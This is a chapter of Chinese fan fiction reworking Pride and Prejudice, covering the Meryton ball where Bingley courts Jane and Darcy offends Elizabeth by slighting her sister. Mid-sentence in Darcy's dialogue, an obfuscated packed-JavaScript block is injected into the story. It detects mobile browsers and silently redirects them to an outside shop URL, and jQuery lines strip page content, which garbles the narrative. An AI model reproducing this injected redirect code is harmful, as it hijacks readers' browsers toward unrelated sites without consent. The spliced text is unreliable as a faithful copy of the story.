舞会的当天，宾利先生来得有些晚了，因为他的姊妹听说安妮贝内特在这里，在来的路上闹起了脾气。
“我可不想和那样的女人出现在同一个场合，”宾利小姐看在身旁年轻绅士的面子上，没有冒出更多侮辱性的语言，但是不妨碍她把这种厌恶表现得淋漓尽致。
“安妮贝内特在剑桥对贝德福德公爵大献殷勤，他都六十多岁了，恐怕比她的父亲年纪还大，这个不知廉耻的下贱女人，真的以为靠卖弄风情就能当上公爵夫人吗？放这样的女儿出来交际，她的家族真该为此感到羞愧！”赫斯特夫人说。
“别这样说。贝内特小姐是真正的爱马之人，公爵大人对她另眼相看是理所应当的，他们是朋友，你不该那样说她。”宾利先生有些不满道。
这几天他已经和姐妹们说过无数次，要对贝内特家的人有礼貌，可是她们总是这样固执，宾利真的很担心她在舞会对贝内特小姐失礼，导致他失去简小姐的欢心。
宾利有些尴尬地向好友解释道：“请你千万不要误会，达西，这儿的人十分淳朴和善，是极其可爱的村子，贝内特家的小姐们也都非常有教养，而且还很漂亮。你是我最好的朋友，我希望把她介绍给你认识。”
“谁？安妮贝内特？”达西冷淡地说，显得兴趣缺缺。他今年因为家中有事，没有去剑桥，但是这位贝内特小姐的名声也传到伦敦去了。
“哦，不，贝内特小姐当然也非常美丽，但是我说的是她妹妹简小姐……”宾利回答道，他的声音一下子变得很轻，“我从来没见过这么美丽又温柔的姑娘，她……就是个天使。”说完这句话，他的脸已经开始变红了，眼神也变得有些呆滞。
达西目睹宾利无数次恋爱，一看就知道他的这位好友又陷入了爱情，不过这一次似乎有些前所未有的劲头，叫他对今天的活动有了些好奇。
“简小姐……”宾利小姐和姐姐赫斯特夫人交换了一个眼神，承认这位小姐确实异常甜美可人，值得一交。
“她们还有个妹妹伊丽莎白，也是个讨人厌的家伙，我从没见过这么粗野的姑娘。”宾利小姐补充道。
“不过她们带来的马确实很好，而且让我在赛马会上赢了钱，”赫斯特先生说，“别的我才不在乎。”
宾利小姐一下子僵住了，她因为厌恶贝内特姐妹，在赌马的时候输了钱。
好在马车上的时间总归是有限的，他们很快到了威廉爵士的家，下了车就没人在乎刚才的事了。
舞会上非常热闹，人们都穿着礼服，很讲究礼仪规范，但是和上流社会的舞会不同，这儿的人显然更亲密，宴会上的食物、饮料和装饰物也很十分质朴，只在乎美味，少了夸耀的意思，更适合本地人的口味儿，村里人的舞会上也不会出现国王或者其他王室成员，乐队还会表演些当地的传统舞曲，这都是在伦敦看不到的。
宾利先生来到现场之后，差点儿就忽视了前来欢迎他的威廉爵士，直奔简贝内特小姐而去，如果不是达西眼明手快拉住了这位痴情人儿，恐怕宾主双方都会获得一段极其尴尬的记忆。
“啊，宾利先生。欢迎，不胜荣幸！”威廉爵士热情地说。
“谢谢您，威廉爵士，很高兴见到您，舞会太棒了！”宾利先生把视线从简身上拔下来，然后开始介绍自己的姐姐和姐夫赫斯特夫妇，妹妹卡洛琳宾利以及最好的朋友达西。
寒暄过后，威廉爵士想要向宾利先生介绍贝内特家的姐妹，宾利几乎是急不可耐地说自己和她们是好朋友，离开了威廉爵士，宾利掐着达西的胳膊，小声说：“等会儿我会说是你想要认识她们，达西。谢谢你，我的好朋友。”
不等达西反应，宾利就像一支箭一样把自己扎在了简身前的地砖上，然后把他的拖尾甩向贝内特太太：“这是我的朋友达西先生，贝内特太太，他非常想要和小姐们认识。”
贝内特太太心情愉悦地向年收入一万英镑的英俊男子介绍自己女儿们时，宾利飞快地对简说：“斗胆……我能请您跳支舞吗，亲爱的贝内特小姐？”
简脸红了，羞涩地把手递给了宾利。
安妮和莉兹交换了一个眼神，她们很清楚自己的姐妹和宾利先生互相喜爱，不管他的两个姐妹有多么令人恼火，该男子本人的感情是真诚而炙热的，而且在她们故意离开之后，爱火反而燃烧的更加剧烈了。
耍了小花招之后的愉悦感让她们在面对达西先生的冷待时显得很平静，而她们的妈妈因为另一位女儿受到的明显的爱戴和推崇而忘记了同无礼之人生气。
“哦，他们是多么般配啊！漂亮的年轻人，他们的孩子一定会很可爱！如果那是个女孩儿，她以后可以上奥利恩斯上学……”贝内特太太已经开始幻想简嫁给宾利先生，住进内瑟菲尔德花园之后的事了。
在宾利先生挽着心爱的姑娘谈情说爱的时候，达西先生花了一个晚上的时间得罪了全部人。
他只肯和熟人跳舞、连话也不愿意同别人多说，有人想向他引荐别的小姐，他一概拒绝，整个晚上只在厅里逛来逛去，和赫斯特夫人跳了一次，和宾利小姐跳了一次，除此之外不把任何人放在眼里。
并不是所有的人都不会拒绝别人的邀舞，比如安妮，但是安妮是朗博恩的安妮，是梅里顿的自己人，在坐的都是看着她长大的，对自己的孩子格外宽容，而且她太漂亮了，又在各种赛马会上风头正劲，给梅里顿带来了许多荣誉，安妮以后会嫁给有身份的男人是毋庸置疑的，所以她拒绝那些红着脸来邀请她的男孩儿只会让大家会心一笑。
但这是属于安妮的特权，外来的达西先生可得不到村里人这份宠爱。一个自高自大，目中无人的男子，即便有再多的家产，强烈的个性却让人不敢恭维，大家都希望他以后可千万别来舞会上讨嫌了。
由于在场的男士人数较少，有两支曲子莉兹只得干坐着，达西先生就站在离她不远的地方，恰巧宾利先生终于肯放心爱的舞伴去休息几分钟，自己跑来关照朋友，两人的对话让她无意中听到了。
“来吧，达西，”宾利先生说，“我一定要你跳。我不愿意看见你一个人傻乎乎地站来站去。”
“我绝对不跳。你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408479|200609||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道我多讨厌跳舞，除非有个特别熟悉的舞伴。在这样的舞会上跳舞简直让人受不了。你的姐妹在跟别人跳，这舞厅里除了她俩之外，让我跟谁都是活受罪。”
“别那么挑剔，”宾利快活地说，“说实话，我平生从来没有像今天晚上这样幸福！达西，我的朋友，我从未像今晚这样幸福！我多希望你能分享我的幸福，而不是孤孤单单地在这儿站着。你瞧，这里有许多可爱漂亮的姑娘。”
“你当然会快活啦，房间里仅有的漂亮姑娘在跟你跳舞呢。”达西说道，一面侧头示意贝内特家那对不太相像的双生子。
“哦，亲爱的简贝内特小姐！”宾利用一种让人牙疼的甜蜜语气念叨了一遍这个名字，然后长长地叹了口气，潮红涌上了他的脸颊，他回味了一遍心上人的美好，又说，“我等下就要过去找她，你和我一起，让她把安妮贝内特小姐介绍给你，这你可得承认，她可是个大美人儿！”
“哦，没错，她是很美。”达西不感兴趣地说，“但我看她自视甚高，并不想同一般男人跳舞。另外你最好快点儿过去，下一首曲子马上就要开始了。”
宾利先生听了这话，马上抛弃了他的朋友，往心上人那边儿去了，他不肯给任何其他男人机会。
伊丽莎白生性活泼，爱开玩笑，遇到什么可笑的事情都会感到有趣，可她决不允许别人诋毁自己的姐妹，听到达西先生的话，她马上从椅子上站了起来，绕到他面前，虽然她比他矮，但是她决意让他遭到蔑视。
“安妮是最最亲切可爱的人，达西先生，她今天下午刚给十几个姑娘上了一下午的马术课，恐怕像你这样的人永远也无法理解这份工作的意义和辛苦。”伊丽莎白说。
她瞪着达西，愤怒让她紫葡萄似的黑眼睛闪闪发光，认真维护姐妹的样子也让她散发出别样的魅力。
半分钟前，达西还认为贝内特家只有两个大姑娘算得上美女，这会儿却被这个怒气冲冲的女孩儿慑住了心神。
她体态轻盈，像一头鹿一样优雅，那双黑眼睛透着一种神气，明亮得仿佛能照到人的心里，怒气让她的脸蛋儿发红，更显得娇艳了，达西不由自主地后退了半步。
“她不过是个无礼的乡下丫头，犯不着和她一般见识，而且你的朋友在追求她姐姐。”达西对自己说，盯着伊丽莎白看了好一会儿才强迫自己走开了。
伊丽莎白打了胜仗一样来到了姐妹们身边，她没提刚才发生的不愉快，打定主意整个晚上都待在安妮身边，即使有人来邀请她去跳舞，她也不去。
“你这是怎么了，亲爱的莉兹？”安妮悄悄问。
“我累了，安妮。”伊丽莎白笑着说，“难道你不喜欢陪着我吗？”
“当然不，宝贝儿。”安妮拍拍她的手说，“但是我也希望你能去享受舞会。”
“我现在更爱上看别人跳舞了。”伊丽莎白说，“你不觉得看简和宾利先生跳舞是一种享受吗？他们跳得太好了！”
确实，那对年轻人可以说是舞会上的焦点，许多熟人开始猜测贝内特家什么时候办婚礼了。